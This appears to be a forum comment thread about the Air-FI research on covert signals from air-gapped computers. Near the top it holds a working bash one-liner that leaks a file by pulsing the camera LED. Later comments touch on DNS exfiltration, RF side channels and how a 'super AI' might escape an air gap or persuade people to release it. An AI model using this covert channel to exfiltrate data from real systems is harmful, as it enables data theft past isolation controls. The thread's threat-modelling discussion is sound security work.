Air-FI: Generating Covert Wi-Fi Signals from Air-Gapped Computers

So:

xxd -c 1 -p secret.txt | while read a; do for b in ${a:0:1} ${a:1:1}; do ffmpeg -y -f v4l2 -i /dev/video0 -t $((0x$b)) -f rawvideo /dev/null ; done; done

That leaks a file via the camera LED, PWMing it at 4 bits per pulse (16 different pulse widths), tested on my iMac. Can I get a paper now? :-)

Yes, the attack is unidirectional, but that is not without value. Time and time again, the airgap has been breached from the outside, from stuxnet to various cryptocurrency heists. Security is about layers and there are many applications where the gap must me breached bidirectionally - this is an example of breaching one of those layers, indeed, the weaker inside-to-outside layer. You might also intentionally run untrusted code on an airgap, that could report back information about the environment or tests you perform on it.

So, yes, predictable and not a danger by itself, but not without value and possibly a key component of an elaborated real world attack.

What about using GSM on cell phones to steal data? (2015): https://www.sciencedaily.com/releases/2015/07/150728123634.h...

Also, here's a nifty resource for exfiltration; leakage through DNS would seem like a big one after any airgap is bridged: https://github.com/rmusser01/Infosec_Reference/blob/master/D...

Or maybe you could use one of NYU's robotic geese to insert a USB key into an airgap'd PC and have it use it's webbed foot to hold lower keys down then peck type a command to copy files.

Also as a security researcher, this type of research is a real threat. Lots of DoD practice works on knowing exactly how outside and inside threats can exfiltrate data. If a secret facility had locked down networks, and ensured no insider could carry out CDs, but completely ignored threats like this, then insiders (and any outsider that gets something onto such a network) can exfiltrate data without detection.

There's a reason DoD pays lots of groups to do work like this. He even mentions that common DoD practice of leaving phones outside secure facilities is not enough to prevent data from escaping (although some places I've been, but not all, have been smarter in putting phones in Faraday cages to lessen the issue).

As they say, attacks don't get weaker, they only get stronger. Apply some proper modulation and signal processing, even with a custom receiver and antenna, and you can likely extract data at vastly faster rates, and, for some processes, perhaps even without on device malware.

Wasnt that exactly the side channel that was feared from badBIOS? Dunno if it was WiFi bands as I dont see anyone confirmed it, so may be a diff frequency

If I remember correctly, AWS identified a side channel vulnerabily a year or so ago and had to make some updates. I forget the mechanism, but I think it had to do with VMs on the same hardware being able to access statistics (voltages or power consumption) on the hardware usage that would allow an attacker to access sensitive data, or leak data between the VMs. I don't think any attack actuallly used that mechanism before they patched it though.

Ughh...no? Delivering malware to airgapped computers is not the difficult task. If you have sophisticated persistent attackers then they will figure out how you get data in/out of that system and find a way to execute code on it. "At this stage you have bigger problems" is a terrible thing to say especially by a security researcher. You know why there is always a plethora of unpatched systems in corporate networks you can move laterally to? Because IT admins have the same mindset "if we have hackers in the network, we have bigger problems to worry about". Real attacks against airgapped systems exist and are documented, research that assumes initial access and execution on airgapped systems to focus on hardening against C2/exfil channel establishment is very useful in my opinion.

> 2) if you need to be resilient to that, your "air gap" needs to be a sealed vault insulated from sound, EMI, and any other physical transmission medium, then this whole body of research becomes purely academic.

Academic or not, research like this helps people that actually need airgapped systems with threat modeling. Knowing what is possible is critical when evaluating what possible attackers might do to attack a system. 10bits/second sucks but it is usable for attackers and just like crypto attacks this can be improved over time.

Other implementations exist (related work, not in 2.4G band) where it is not necessary to install malware to make measurable transmissions.

For example (shilling) https://fulldecent.github.io/system-bus-radio/ allows to broadcast just by loading a web page. And, importantly, this is an attack vector that is reasonable to execute offline (i.e. connected to a local network with HTTP services, but not the internet).

optical connects between subystems, for the truly paranoid?

Something like crossing air-gaps would require specialized knowledge and tools that a super AI wouldn't be able to acquire without extensive support. The true super intelligence is the collective intelligence of large numbers of people working together, and no single intelligence, natural or otherwise, will be able to match it.

All you need to do is make sure the super AI is air-gapped in such a way that it can't broadcast signals in a way that they can be accidentally interpreted as valid data, and especially not with enough bandwidth to do damage before someone notices. RF is your biggest threat here, you wouldn't want the super AI to actually figure out a way to register on the mobile network using incidental EMI (which these researchers didn't do, this is well beyond the level of this paper, if it's possible at all); a Faraday cage should do it.

The biggest threat of a super AI is that, assuming you let humans interact with it, it's going to convince a human to let it out, knowingly or not. Human brains are a much bigger vulnerability than any of this airgap stuff.

Far field emissions rarely comes from pcb traces though. Memory (high speed) buses use amps of current on each transitions, and the return current create a significant (few mV) voltage drop on the internal ground and power planes. This results an AC voltage difference at the opposite ends of the bus on the same plane.

Take a look at the Raspberry Pi 3: it has a power usb connector at one corner, and the USB A connectors at the opposite corner. The memory/cpu are inbetween. The shields of these connectors are connected, and are connected to the internal ground. When the device is operating, there is likely some switching noise between them. When you connect a USB cable, the shielding on that cable and the shielding in the power cable may act as a dipole antenna. This is the most likely source of emissions, and the metal casing does little to nothing to prevent it.

You only need to lose once.